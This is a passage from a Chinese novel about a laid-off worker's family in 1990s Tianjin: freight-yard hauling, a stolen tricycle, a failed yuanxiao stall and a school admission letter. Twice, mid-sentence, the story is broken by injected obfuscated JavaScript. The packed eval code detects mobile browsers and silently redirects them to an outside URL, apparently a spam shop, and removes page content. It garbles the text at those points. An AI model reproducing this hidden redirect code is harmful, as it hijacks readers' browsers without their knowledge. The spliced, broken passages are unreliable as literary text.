车到盐坨桥时，一阵剧烈的颠簸把他晃醒了。桥面正在施工，半边封闭，工人们蹲着修补裂缝。电钻的声音尖利刺耳，混合着河风的呜咽。一段桥栏杆被拆掉，露出里面锈蚀的钢筋，红褐色的，像老人松动的、溃烂的牙根。姚华突然想，这座桥，还能撑多久呢？十年？二十年？还是……等到他真正长大，能够离开这里的那一天？ 车到站，他彻底醒了。张玉芬已经下车，正伸手扶他。夕阳把两个人的影子拉得老长，斜斜地跨过土路，一直伸向那片刚刚开始返青的菜地，伸向更远处沉默的铁道沟。 远处，友谊罐头厂的烟囱依旧吐着烟。烟是灰白色的，在渐浓的暮色里，像一道缓慢的、无声的叹息，升起，然后散开。盐坨桥上的路灯陆续亮了，一串昏黄的光点，绵延六百四十三米，固执地连接着黯淡的村庄与霓虹初上的城市，连接着沉重的今夜与未知的明天。桥下的新开河水，裹挟着最后一点浮冰，无声南流，带走了冬天的尾巴，也仿佛，带走了一个孩子关于贫穷、挣扎和那一点点偷来的荤腥的、最后的童年。 5. 第五章 消失的三轮车 北站货场的黎明是从火车叫唤开始的。那声儿“呜——”，拖得老长老长，像隔壁二大爷清早咳痰，非得把五脏六腑都抖搂干净才算完。接着就是哐当哐当，轮子砸在铁轨上，跟老天爷算账似的，一笔一笔，锱铢必较。这时候，煤灰就下来了，没完没了，跟撒孜然似的，专往人脖领子里钻。 姚建国把三轮车杵在“严禁停留”的铁牌子底下。牌子上的红漆掉得差不多了，“严禁”只剩个“严”字摆着官威，“禁”字光秃秃剩个“示”字旁，孤零零的，像在示众，又像在求饶——求谁呢？求老天爷？老天爷忙着撒煤灰呢，没空。 这是姚建国下岗之后第一份可以赚钱的差事，他蹲在车把中间，从车筐里掏出个毛巾裹着的铝饭盒。里头是昨晚的剩粥，稠得像果冻，那层厚厚的米油能照见自己那张脸。他对着粥里的影子撇撇嘴：姚建国啊姚建国，你这张脸，怎么就越长越像这饭盒呢？坑坑洼洼，还总盛不满。 用手指头抠着吃，抠一手指，舔一手指。这动作他熟，熟得闭着眼都能完成。饭盒很快就见了底，凉意顺着食管往下坠，坠到胃里，胃哆嗦一下，像打了个寒噤，又像在叹气：就这么点儿？ 货场活过来了。装卸工扛着大包小包，在车厢和库房之间撞来撞去。他们的号子短得噎人：“嘿——哟！”“走——嘞！”姚建国听着，把饭盒扣上，塞回怀里。内兜缝了块补丁，补丁下面是昨晚挣的十七块钱，他隔着衣服按了按，薄薄的一沓，没什么厚度——就像他这辈子，没什么厚度。 “老姚！”有人喊他。 是货场调度朱格，一个小年轻，姓朱名格，但货场上都管他叫“诸葛”，蓝布工作服油亮油亮的，胳膊上套着红袖标，“执勤”两个字脏得看不清，像他这人，干什么都模模糊糊。朱格走过来，用脚尖踢了踢三轮车的轱辘：“你这车该上油了，吱吱呀呀，半夜听着跟闹鬼赛的。” 姚建国咧咧嘴，算是笑过了。他从车座底下摸出包“红恒大”，抽出一根递过去。烟是昨天一个雇主赏的，整包，他舍不得抽，专留着打点——打点什么呢？打点这些爷，这些能赏他活路的爷。 朱格接了，别在耳朵上，没点。“今儿个有批天津站的货倒腾过来，二十车皮，棉纱。你去不去？” “去。”姚建国从喉咙里挤出个字，像挤牙膏，挤一点，少一点。 “规矩明白？一车皮五块，现结。” “明白。” 朱格瞅瞅他，又瞅瞅那三轮车。车是花四百八买的二手货，绿漆掉光了，铁锈一片连一片，像长了癞。刹车线断了，用麻绳凑合绑着，绳子头都磨散了，跟他的人生似的，到处是线头，捋不顺。 “不是我说你，”朱格压低声，“你这人忒闷，不会来事儿。昨儿个老李他们也拉棉纱，人家给调度递的是‘小江山’，你一包‘红恒大’就打发了？” 姚建国不吭声，眼睛盯着地上一滩机油。油黑乎乎的，映出一小块变形的天，脏兮兮的——天的脸也脏，谁的脸不脏呢？ “算了，”朱格摆摆手，“八点，三号站台。” 姚建国点点头。等朱格走远了，他才站起来，活动活动腿脚。左腿有关节炎，年轻时在爱走路，一走就是几公里，疲劳性磨损。盐坨村小医院的医生说的词儿文绉绉的，其实就是累坏了。天儿一冷就疼，像有针在骨头缝里搅和。他捶了两下，屁用没有——这世上，屁用没有的事儿多了去了。 七点半，他推着三轮车往三号站台挪。车轴没油，轮子每转一圈就“吱——嘎——”惨叫一声，听着心里发毛。路过煤堆，几个装卸工蹲成一圈抽烟，有人冲他喊：“老姚，今儿个拉嘛？” “棉纱。” “棉纱好啊，轻省！” 是好，棉纱轻，不费劲儿。可姚建国心里门儿清：轻的货工钱也贱。上回拉过一批铸铁管，一根八十斤，一车拉六根，从站台到仓库，三百米，一趟给八块。他拉了五趟，挣四十，晚上回家胳膊都抬不起来。张玉芬用热毛巾给他敷，敷着敷着他就睡死过去，梦见自己变成了一根铸铁管，被埋在地底下，再也用不着动弹了——那梦，他回味了好几天，觉得挺美。 三号站台已经有人了。五六辆三轮车排着，都是熟脸：老李、小王、赵麻子……还有一个住在武德闾的老叶，比那几位都年长，他车是新的，车轴上还按了一个摩托的发动机，车斗刷着红油漆，亮得晃眼。他正跟调度说笑，“我们外孙子叶凡这回数学考了100分。”“那语文呢？”“嗨！夯虎（马虎）了，97。”貌似两人很熟悉的样子，接着递烟，点烟，烟雾把他那张胖脸笼得模糊一片——模糊好啊，模糊就显得高深。 姚建国把车停在最后面。他没往前凑，就蹲在车边等。从怀里摸出个小扁瓶，拧开，抿了一口。酒是散白干，六十五度，一口下去，从喉咙烧到胃里，像吞了块火炭。可也管用，暖意慢慢散开，腿上的疼好像轻了点儿——疼这东西，你越在意它，它越来劲；你喝点酒，它就蔫了。 八点整，火车来了。蒸汽机车头喘着粗气，拖着二十节闷罐车厢爬进站，像个得了肺痨的老头，走一步，喘三步。车门一滑开，棉纱用麻袋装着，鼓鼓囊囊堆在门口。调度吹响了哨子：“开工！” 人一窝蜂涌上去。老叶冲在最前头，车新，蹬起来轻快，第一个装好货，弓着腰就没影儿了。小王和赵麻子紧跟其后。姚建国磨蹭到最后，捡别人挑剩下的——车厢深处的、被压变形的、麻袋破了口的。他专挑这些，为什么？因为这些没人抢，不用争，争也争不过。 装车是门技术，棉纱虽轻，可鼓鼓囊囊不好码。姚建国把麻袋在车斗里挪了又挪，才码齐，用麻绳捆紧，打的是水手结——这结是他年轻时在西开码头学的，那时候他还有劲儿，还有梦。结打得是结实，可费工夫。等他捆好，前头几辆都跑完一趟回来了。 “老姚，你这速度，吃屎都赶不上热乎的！”老叶从他身边过，甩下一句。 姚建国没应。他心里想：热乎的屎也是屎，有什么可赶的？弯下腰开始蹬车。车一负重，沉得像个死物，每蹬一圈，膝盖就咯嘣响一声。他数着数，从一站台到仓库，得蹬三百四十七圈。数到一百，汗就把衬衫湿透了，黏唧唧地贴在背上。数到两百，腿开始发软，像不是自己的。数到三百，眼前发黑，只能瞅见仓库大门那个黑窟窿，像张等着吃人的嘴——吃吧，吃吧，反正我也没几两肉。 第一趟，五块钱。调度把钱拍在他手里，是张皱巴巴的五元票子，票子上印着的人像衣领都磨平了——衣领磨平了，人还端坐着，一本正经的，真好笑。他把钱展平，对折，塞进内兜。补丁下面好像厚了一丁点儿，可感觉不出来——就像他这日子，好像好过了一点儿，可感觉不出来。 第二趟，第三趟……到第五趟，太阳爬过货场的龙门吊，明晃晃地砸下来。姚建国把外套脱了，只穿件破背心，背上好几个洞，最大的在胳肢窝，能伸进俩手指头。汗从那洞里流出来，在皮肤上冲出些白道子——那是盐。他舔了舔胳膊，咸的。人这一身肉，到头来也就是一包盐，流干了，就剩一把骨头。 中午歇半小时。别人掏出家里带的饭：馒头夹酱豆腐、烙饼卷鸡蛋、还有饭盒里装着饺子，冒着热气。姚建国走到货场边的水龙头底下，拧开，把嘴凑上去灌。水带着股铁锈味儿，他不管，咕咚咕咚喝了半肚子。凉水一激，胃里那点稀粥底儿彻底没了，饿得心慌——心慌好啊，心慌就不想别的事了。 他从车座底下摸出半个窝头，是昨天剩的，硬得能砸死人。他一点点掰着吃，掰一小块，含嘴里，等唾沫把它泡软了再咽。渣子掉地上，几只麻雀飞过来啄，啄几下，扑棱着翅膀飞走了——太硬，鸟都不稀罕。姚建国看着麻雀飞走的方向，心想：鸟都知道挑食，人怎么就不知道呢？ 下午接着干。棉纱好像永远拉不完，车厢里的麻袋不见少，反而越堆越高。姚建国的腿早就没了知觉，只是机械地蹬，一圈，又一圈。眼前就剩一条路：煤渣路，泛着黑光，直通那个黑窟窿。他觉得自个儿像头驴，蒙着眼，绕着磨盘转，转一辈子，也转不出这个圈。 傍晚六点，最后一车。调度说这是加班的，给双倍，十块。姚建国点点头，他已经说不出囫囵话了。装车时，手抖得厉害，麻绳半天系不上。还是老李看不过去，过来帮他系好。 “老姚，你这精贵的身子骨，小姐的身子丫头的命，不行就别硬撑了。” 姚建国摇摇头，心里却说：我不是硬撑，我是没得选。蹬上车。这一趟格外长，他觉得仓库大门在往后躲，怎么蹬也够不着。蹬到一半，他咳起来，咳得整个人蜷在车把上，三轮车歪歪扭扭，差点栽进煤堆里。 咳完了，用手背擦嘴，手背上蹭了道血丝，淡淡的粉红色。他盯着看了几秒，把手往裤子上抹了抹——抹掉了，就看不见了；看不见，就不存在了。这是他的人生哲学。 好歹卸完货，拿到十块钱。两张五元的新票子，还带着印刷厂的油墨味儿。他把钱跟别的钱归拢到一块，内兜鼓囊起来，贴着心口，温吞吞的，像个瘤子——良性的还是恶性的？不知道。反正长在那儿了。 回家的路得穿过整个中山路。姚建国推着空车走，实在蹬不动了。路灯一盏盏亮起来，昏黄的光把影子拉长又挤短。路过中山公园，小吃摊都支起来了，煎饼果子的香气飘过来，葱花、面酱、鸡蛋混在一块儿，香得让人腿肚子转筋。一个摊主扯着嗓子喊：“煎饼果子，热乎的！” 姚建国摸了摸内兜。今天挣了三十五，加上之前攒的，差不多够给姚华买双新球鞋了。孩子脚上那双，前面都张嘴了，用线缝过，针脚歪歪扭扭，像条蜈蚣——蜈蚣好啊，蜈蚣脚多，走得稳。 可他没停，接着走。走过北洋桥，他停下来，趴在桥栏杆上往河里看。新开河在夜色里是墨黑墨黑的，只有被路灯照到的地方，才泛出点油亮的光。一艘拖船开过，船上的红灯在水面上拉出一道长长的、发抖的血痕——血痕也会发抖，血也怕冷。 他看了很久，然后从怀里掏出小扁瓶，把最后一点酒灌进肚子。瓶子空了，他想了想，没扔，又揣回怀里。空瓶子也是瓶子，能装水，能装酒，能装下好多说不清道不明的东西——比如希望，比如失望，比如那些说不出口的话。 到家八点多了。盐坨村的窗户大多亮着，电视声、炒菜声、小孩哭闹声混成一片，嗡嗡响，像一锅煮烂了的粥。姚建国家在胡同最里面，窗户黑着，张玉芬准是带姚华上夜班去了——她在糊火柴盒，计件，糊一千个挣一块二。姚建国算过，要糊够他一天拉货的钱，得糊将近三千个。三千个火柴盒，排起来能绕屋子几圈？他没算，不敢算。 他把三轮车锁在那个所谓的院子里，锁是那种老式挂锁，锈得不成样子。锁好，又拽了拽，确定锁死了，才往里走。院子里黑黢黢的，没灯，门上糊满了小广告：通下水道、修电视机、□□……纸一层盖一层，厚得跟棉被赛的——棉被保暖，这些纸不保暖，只挡风。 开门，屋里果然没人。他拉亮灯，十五瓦的灯泡，光线昏黄得像得了黄疸病。桌上扣着个碗，掀开，是留给他的饭：一碟炒白菜，俩馒头。白菜炒过火了，发黄，软塌塌地趴在碟子里，像一堆煮烂了的抹布。 他坐下吃。馒头是凉的，硬，他就着开水往下咽。吃着吃着，突然停住了——桌上压着张油印卷子，姓名栏是姚华的字，铅笔写的，字挺大，一笔一划的，认真。 拿开压着卷子的碗，红笔打的“100”扎眼，旁边还有老师批语：“大有进步！” 姚建国盯着那个“100”，看了半晌。然后把卷子重新折好，放进立柜最上头的抽屉。抽屉里还有姚华以前得的奖状，三好学生、优秀少先队员……一张没丢。丢什么呢？这些是他唯一的体面，丢不得。 吃完饭，他打了盆热水泡脚。脚肿了，脚底板的老茧给水泡得发白，像死鱼的肚皮。他用手抠，抠下一块，露出底下粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119412|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红色的嫩肉，疼得他直吸凉气——疼好啊，疼说明还活着。 泡完脚，他坐床上数钱。把内兜里所有的钱都掏出来，铺了一床。纸币、钢镚，摊了一大片。他一张张理，理齐了，按面额分好。十元的五张，五元的八张，两元的十三张，一元的……数到一元时，他停住了。 少了一张。 他重数。还是少。今天明明挣了三十五，该有张五元、三张十元……不对，最后那趟是十块，两张五元……他脑子成了一锅粥，越算越糊涂。干脆把所有钱拢到一块儿，从头数。 一百二十七块四毛六。 比昨天该有的数，少了两块五。 他在脑子里翻腾：早上出门，买了包烟，一块二；中午没吃饭，就喝了水；下午……下午买过一个烧饼，加肉的，一块五。他把这烧饼给忘了。当时饿得眼前发黑，不买不行了——人饿急了，什么都干得出来，比如花一块五买个烧饼。 两块七。他还多算了两毛。 姚建国瘫坐在床上，盯着那堆钱。钱在灯光下泛着暗了吧唧的光，像一堆秋天落败的叶子。他突然抓起钱，狠狠摔在地上。纸币飘开，钢镚滚得到处都是，叮叮当当，像是在笑话他：姚建国啊姚建国，你就这点本事？跟钱较劲？ 可他马上又后悔了，爬下床，趴地上，一张张捡，一个个找。床底下、柜子底下、墙角缝儿……扒拉了半个钟头，总算找齐了。重新数，一百二十七块四毛六，一分不差。 他用橡皮筋把钱扎好，塞回内兜。躺下，关灯。黑暗里，他能听见自己的心跳，咚，咚，咚，很慢，很沉，像锤子在砸一堵实心的墙——墙那边是什么？他不知道，也不想知道。 夜里他做了个梦。梦见自己还在货场拉棉纱，可棉纱变成了水，越拉越多，水从麻袋里涌出来，淹了货场，淹了三轮车，淹到他脖子。他拼命蹬车，车在水里纹丝不动，他就用手划，划啊划，忽然抓住个东西——是姚华那张考卷，上头红色的“100”在水里化开了，化成一滩血，把他整个手掌都染红了。他吓醒了，坐起来，发现枕头湿了一片，不知是汗还是别的嘛——也许是泪，但他不承认，男人哪能随便流泪？ 三轮车被偷是在一个礼拜后的早上。那天有雾，大雾，整个货场像泡在浑浆浆的牛奶里——变质的牛奶。姚建国像往常一样把车停在“严禁停留”的牌子底下，然后去调度室报到。朱格说今天有批紧急物资，从杨柳青运来的机器零件，一车十块。 “车呢？”朱格问。 “外头。” “锁好了？” “锁了。” “这雾天，留点神。” 姚建国没往心里去。雾天，贼也看不清道儿——贼看不清，他也看不清，扯平了。他进调度室等派工，屋里生着炉子，暖和，他坐在条凳上，竟迷糊着了。醒来时雾散了些，他出去看车。 车没了。 锁还在，挂在那根专门焊的铁柱子上，锁芯被剪断了，切口齐刷刷的，是用液压剪干的。地上有新鲜轮胎印，消失在还没散尽的雾里。 姚建国戳在那儿，一动不动。雾水打湿了他花白的头发，一绺绺贴在脑门上。有人打他身边过，问：“老姚，咋了？” “车没了。” “嘛？” “车，没了。” 那人凑近瞅，看见断锁，骂了句：“操，哪个缺德带冒烟的！”然后拍拍姚建国肩膀，“报警吧。” 姚建国没打过电话。他知道没用，这种破事儿，警察没工夫管——警察忙，忙着管大事，他这辆破车，算什么事？他蹲下，捡起断锁，锁芯里的弹簧卷曲着蹦出来，像条死透了的蚯蚓——蚯蚓死了还能肥地，这锁死了，只能添堵。 朱格出来了，一看就明白了。“我说嘛来着？你那破锁，跟没有一样。” “车……四百八买的。”姚建国说，声儿轻得像自言自语——自言自语的，说给谁听呢？说给自己听呗。 “那完犊子了。”朱格叹口气，“今儿个你先家走吧，车我帮你问问，看谁瞅见过。” 姚建国没回家。他顺着货场溜达，一圈，又一圈。雾全散了，太阳露头，把地上的煤灰照得晃眼。他盯着那些轮胎印看，印子深，说明车上拉着货——贼是开着满载的车跑的，不是推。他心里忽然冒出个念头：这贼，也是个勤快人，偷车还不忘拉趟活。 他走出货场，上了马路。印子没了，混进无数车轱辘印里。他接着走，漫无目的地走。走过北站，走过中山路，走过金刚桥。走到海河边，他站住了。 就是在这儿，他当初下定主意买三轮车的。那天也是早上，他蹲在河沿儿，数着手里的钱：下岗买断剩下的三千七。数了一遍又一遍，数得手指头都麻了。最后他想：买吧，买了车，就有活路了。现在想来，那活路，也就是条死胡同，走着走着，撞墙了。 车是在旧货市场踅摸的。卖车的是个老头，说车是他儿子的，儿子奔深圳打工了，用不着了。姚建国试了试，车还能动弹，就是刹车不灵光。老头让价，四百八成交。他数钱时手哆嗦，不是舍不得，是知道这钱是他最后的本儿——本儿没了，就什么都没了。 现在，本儿赔光了。 姚建国在河边坐下，坐了老半天。有船过，拖船，拉着沙石，吃水很深。船上的工人瞧见他，冲他喊：“嘿！爷们儿！别想不开！” 他没想不开。他在想，没了车，明天咋办？后天咋办？想着想着，他忽然乐了：明天不用早起了，后天也不用早起了，天天都不用早起了。张玉芬糊火柴盒糊到后半夜，一个月也挣不出一百块。姚华要上初中了，要是去上铁一中，赞助费三千——三千，把他卖了也不值这个数。 他从怀里摸出小扁瓶——早空了，昨儿个就喝干了。他拧开盖，对着嘴倒了倒，一滴都没了。他就举着空瓶子，对着太阳瞅。玻璃瓶子在太阳底下泛着绿光，像块不值钱的假翡翠——假的好，真的他也买不起。 6. 第六章 滚烫的元宵 腊月二十三那雪，下得跟筛面粉似的，细细密密，从破了口的天上往下漏。友谊罐头厂那烟囱还冒着黄烟，把雪片子熏得跟旧棉袄里掏出的棉絮一个色儿。姚建国蹲在院里推磨——磨是借隔壁修鞋老赵的，死沉，推三圈就得喘，白气儿从嘴里出来，“呼”一下，没了，跟从来没喘过那口气似的。 屋里刺啦刺啦响，是铲子刮锅底。张玉芬在炒馅，红糖熬得稠糊糊，裹着芝麻核桃，在铁锅里翻滚。那香味从门缝挤出来，混着院里的雪腥气，让姚建国忽然想起他妈——老太太活着时，总往豆馅里掐一撮桂花。那年月桂花金贵，如今胡同拆了，桂花也只剩鼻子记得。 “添水。”张玉芬在窗户里说，一个字，跟吐瓜子皮似的。 姚建国往磨眼里舀水。井水扎手，溅到腕子上，激得他一哆嗦。接着推，石磨响得闷，像有个咳嗽的人藏在木头里。米浆从磨缝渗出来，慢慢流进桶里，稠得能挂住勺把子。 一九九八年了。街角宣传栏贴着新标语，“下岗再就业”五个字红得晃眼。旁边罐头厂的旧广告，黄不拉几，像上个世纪留下的饭痂。姚建国认字不多，但“下岗”俩字他熟——红皮小本压在箱底，挨着结婚证，都是红的。一个红是开头，一个红像是句号。 磨完最后一勺米，天黑透了。姚建国站起来，腿麻得像有千万只蚂蚁在血管里开会。提桶进屋，米浆在桶壁上留下痕，黏糊糊的，像眼泪干了没擦净。 屋里比外头还冷。炉子没生，张玉芬说等睡觉再点，省煤。她在案板上切馅，黑方块码得齐整，跟缩小了的墓碑似的。姚华写作业，铅笔短得快捏不住了，套个纸筒接着写，手指冻得发紫。 “明儿找副食店王会计借几个笸箩。”张玉芬说，手里的刀没停。 “嗯。” “说好了，一天五块。” 姚建国从怀里掏钱，一张张数，五张一块的。票子皱得像腌过的白菜帮子，还带着他的体温。张玉芬接过，别在内衣兜里，拍了拍——拍的是兜，也是那几张票子。 夜里雪大了。姚建国躺炕上，听见树枝被雪压断的声儿，咔嚓，咔嚓，像什么小骨头在暗处折。想起去年元宵节，他们卖出去三百多个，挣了六十块。那天他买了瓶直沽高粱，张玉芬没拦，还给炒了盘鸡蛋。酒喝到一半，姚华掏出成绩单，语文九十五，数学一百。孩子把纸压在酒瓶底下，说：“等我考上铁一中学……” 后来酒醒了，成绩单被酒渍洇透，红墨水化开一片，像血。 天没亮姚建国就出了门。副食店没开，他在雪地里站了半个钟头，脚冻得没知觉了。王会计骑自行车来，后架子上挂着几个卖馒头用的大笸箩——半旧不新，边儿都磨亮了。 “使完了还我，”王会计说，“这玩意儿现在不好找。” 姚建国点头，把笸箩捆在三轮车上。车是借老李的，车胎补过三回，鼓着三个疤，像得了天花的屁股。 回家，炉子生上了。窗上的冰花化了一道，水淌下来，在窗台上冻成冰溜子。姚建国把笸箩摆开，张玉芬已经和好了糯米粉，雪白一堆，像个小雪山。 “开始吧。”张玉芬说。 头一道是蘸水。姚华用笊篱捞馅块，水里过一下，倒进笸箩。笸箩底铺了层薄粉，馅块落进去，噗噗响，像雨点掉进灰堆里。 姚建国摇笸箩。他两手抓住边沿，前后晃。才晃了两下，胳膊就酸了。那笸箩死沉，馅块在里头滚得慢，沾粉也不匀。他咬咬牙，又晃了十来下，汗出来了。 “算了，我来。”张玉芬接过笸箩。 她力气大，晃得笸箩哗啦哗啦响，馅块在粉里翻滚，慢慢裹上第一层白。可这是力气活，干了半个钟头，她胳膊也抬不起来了。第一锅出来，元宵大小不一，有的地方还露着黑馅。 “这么干不行，”张玉芬盯着那些歪瓜裂枣的元宵，“得想个法子。” 那天卖得不多。二百多个，挣了四十来块。回家路上，三轮车蹬得吃力，上坡时姚建国下来推，张玉芬在后面帮着推，谁也不说话。 夜里，张玉芬没睡。她坐在炕沿上，盯着墙角的笸箩看，看了足足一个钟头。姚建国说睡吧，她不吭声。后来她突然站起来，翻箱倒柜找出四个旧轴承——不知道哪年从厂里带回来的，都锈了。 “有钉子和锤子没？”她问。 姚建国找来工具。张玉芬把笸箩倒扣，在四个角下面各钉上一个轴承。钉完了，她把笸箩翻过来，放在桌上，轻轻一推——笸箩顺着轴承滑出去老远，又滑回来，轻快得像抹了油。 “成了。”她说，脸上有了点儿笑模样。 第二天试新法子。笸箩底下有轴承，前后一晃，哗啦啦，馅块在粉里滚得欢实，均匀，省力。姚建国晃了几下，确实轻快多了。张玉芬说：“你就管这个，我管煮和卖。” 姚建国心里有点儿愧，但胳膊是真酸，也就应了。 这天挪到金刚桥下。风顺着河面刮过来，割脸。张玉芬用铁皮围住炉子，姚建国摇笸箩。有了轴承，摇起来吱呀呀响，像唱歌。元宵越滚越圆，白胖白胖的，在笸箩里跳。 生意来了。过年的人们匆匆走过，看见热气就停脚。有买的，有看的。张玉芬煮元宵，一次三十个，哪个先下哪个后下，记得清清楚楚。姚华照看炉火，添煤，压火。 姚建国摇笸箩，摇得胳膊有节奏地酸。他看着笸箩里的元宵，从黑疙瘩变成白圆球，一个接一个，像变戏法。这活儿单调，但看成果，心里踏实。 中午卖了一半。钱盒里票子多了，姚建国趁空数了数，八十七块五。他算成本：糯米二十斤十八块，糖和馅二十五，煤五块，借笸箩五块，摊位费还没交。净赚三十来块。 三十块，是他在货场拉六车棉纱的钱。这么一想，摇笸箩也不算累了。 下午来了个大主顾，单位福利，要两百个生的。姚建国收钱，手有点抖——这辈子没经手过这么多整票子。年轻夫妻的摊子在旁边，冷冷清清。他们卖四毛，但馅少，个头小。女的开始吆喝，没什么用。男的瞪了姚建国一眼，眼神跟刀子似的。 姚建国低下头数钱。他从来不想惹事，但笸箩底下那四个轴承，让他觉得腰杆硬了点儿。 傍晚飘雪。路灯亮了，雪花在光里飞，像扑火的蛾子。收摊时，张玉芬倒锅里的汤，在雪地上浇出个黑窟窿。 回到家累瘫了。数钱，二百七十三块八毛五。 “这么多？”姚华眼亮了。 张玉芬笑了，笑得很轻，但真切。“明天多做。” 第二天做七百个。馅不够，姚建国跑去买糖，红糖涨价了。他咬牙买了十斤。 这天还在桥下。风大，炉火忽明忽灭。姚建国摇笸箩，手冻僵了，但笸箩晃得顺溜。七百个，下午四点卖光。有个男人没买到，失望，张玉芬说：“明儿还来，给您留着。” 回家数钱，三百八十九块二。张玉芬一笔笔记账，最后算出净赚一百一十七块。 “照这样，干到正月十五，能挣一千。”她说。 一千。姚建国想不出一千块钱摞起来多厚。他只晓得，姚华的赞助费，铁一中三千块，能凑上些了。 夜里他梦见摇笸箩。笸箩越变越大，变成个磨盘，他推着转，转不完。元宵从天上掉，砸在头上，生疼。 腊月二十八，做了八百个。这天冷得邪乎，零下十五度，锅开得慢，元宵煮破了几个。张玉芬捞出来自己吃，甜的，进嘴却发苦。 摊位费涨到十五。年轻夫妻不干了，三轮车坏了，推回家时哭丧着脸。张玉芬看着，心里揪了一下。收摊时，她偷偷往他们车把上挂了十个元宵。 姚华坐炉子边写作业，手冻得通红。他说这儿暖和，其实是看着——看父母摇元宵时专注的脸，收钱时小心翼翼的手。 年三十没出摊。包了饺子，白菜猪肉馅，肉少，但总是肉的。姚建国弄了挂鞭炮，一千响，在院里放了，噼里啪啦，炸出一地红纸屑。 吃饺子时，姚华说：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119413|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈，等我长大挣钱，你们就不用受累了。” 张玉芬的眼泪掉进碗里。姚建国没说话，摸了摸儿子的头。手糙，但落得轻。 春晚唱《常回家看看》，张玉芬跟着哼，哼着哼着哭了。姚建国看着她哭，突然觉得，要是天天都能挣一百多，让她哭一哭也值。 可他不知道，好日子就像年三十的鞭炮，响得热闹，转眼只剩一地纸屑。 正月初六，出事了。 糯米不够，粮店卖完了。姚建国跑了五个粮店，最后在一个叫“菜道”的批发市场买到，价翻了一倍。糖也涨，青红丝断货。成本噌噌涨，元宵不敢涨价——一涨，客就跑了。 别的摊子也多起来。初六那天，中山路上冒出四个卖元宵的。竞争狠了，有人卖四毛五，有人卖四毛，还有个卖三毛五的，用的是陈年糯米，煮出来黄不拉几。 张玉芬坚持卖五毛。“咱的货真。”她说。可图便宜的人越来越多。初七只卖了四百个，剩下的送邻居，邻居也腻了，婉拒。 初八下雪，没人出门。在桥下守了一天，只卖出六十个。傍晚收摊，张玉芬看着锅里剩的元宵，突然说：“不干了。” 姚建国一愣：“啥？” “不干了，”张玉芬重复，“赔钱。” “可还差一千多……” “差多少也不能赔着干。” 姚建国张了张嘴，话卡在喉咙里。他看着张玉芬收拾东西，动作快，决绝。他帮不上忙，只能站着，雪落了一身。 元宵生意到此为止。统共干了十四天，净赚八百二十七块六毛三。加上之前攒的，还差一千二。姚建国算这个数，用的是姚华作业本背面，铅笔写的，写错了用橡皮擦，纸破了，数字从破洞里露出来。 正月十五，元宵节。别人家吃元宵，姚建国家吃剩饭。那些没卖出去的煮了一部分，吃不完，放着，第二天就裂了。张玉芬把坏的扔了，好的冻上，说慢慢吃。可谁也不想吃，看见元宵就反胃。 夜里姚建国一个人出门。走到金刚桥下，空荡荡的，只有雪和风。他蹲在他们摆过摊的地方，地上还有炉灰的印子，黑乎乎的。他用手摸了摸，灰是冷的。 远处有人在放烟花，红的绿的，在空中绽开，又灭。桥下的海河结了冰，冰面上反着光，一闪一闪。 姚建国想起摇笸箩的响声，吱呀呀，像老座钟在走。想起张玉芬被热气熏红的侧脸。想起姚华数钱时亮晶晶的眼睛。这些画面现在都冷了。 他从怀里掏出小扁瓶，酒剩个底儿，一口闷了，辣得咳嗽起来，咳出了眼泪。 泪是热的，但很快就被风吹冷了，在脸上结成冰碴子。 回家时张玉芬还没睡。她在糊火柴盒，桌上堆了一大摞。糊一个半分钱，得糊两千个才挣一块。灯下，她的背影弯着。 姚建国在门口看了很久，走过去坐下，拿起一个火柴盒，学着糊。手笨，糨糊抹得到处都是。张玉芬没看他，也没说话，只是默默地糊，一个，又一个。 姚华从里屋出来，看见父母都在糊火柴盒，愣了一下，也坐下，拿起一个。他不会，但学得快。 三个人，围着一盏十五瓦的灯泡，糊火柴盒。屋里很静，只有刷糨糊的声音，唰，唰，唰。窗外，烟花还在放，隐约的爆裂声传来。 糊到第一百个时，姚建国突然说：“明年……明年咱们早点备料……” 张玉芬没抬头：“明年再说吧。” “一定能行……” “睡吧。” 姚建国不再说了。他知道，有些事就像这火柴盒，糊得再好，也只是一分钱两个。糊四千个才挣一块，而他们需要一千二，得糊四百八十万个火柴盒。 这个数太大了，大到他想都不敢想。 他继续糊，手渐渐熟了。可他晓得，这没用。他糊得再快，也快不过时间，快不过生活这只更大的手。 夜深了，烟花停了。世界重归寂静，只剩糊火柴盒的声音，唰，唰，唰。 7. 第七章 铁一中录取通知书 通知书是七月底到的。天热得邪乎，友谊罐头厂的烟囱冒黄烟，有气无力，在半空悬着，像条半死的黄鳝。邮递员的自行车铃在胡同口响了三次，张玉芬才从糊火柴盒的案板上抬头——手一抖，糨糊刷子在纸上拖了道长长的白痕。 “挂号信！”邮递员扯嗓子喊。 张玉芬在围裙上擦了擦手，围裙是旧床单改的，洗得发白，糨糊在上面留了个透明的印子。她小跑出去，腿有些软——这几天总梦见姚华落榜，梦见成绩单被雨淋湿，红墨水化开，流成一条河。 邮递员是个年轻人，满脸汗，制服贴在背上。“签字。”递过来个牛皮纸信封。 信封厚，右下角印着“市铁路第一中学”几个红字。张玉芬手开始抖，签名写得歪扭，最后一笔拉得老长，像要逃出那个小方格。邮递员撕下回执，看她一眼：“孩子考上了？” “不、不知道……” “铁一中好啊，”邮递员蹬上车，“这学校能连着上高中，我弟去年考上的，将来准上重点大学。” 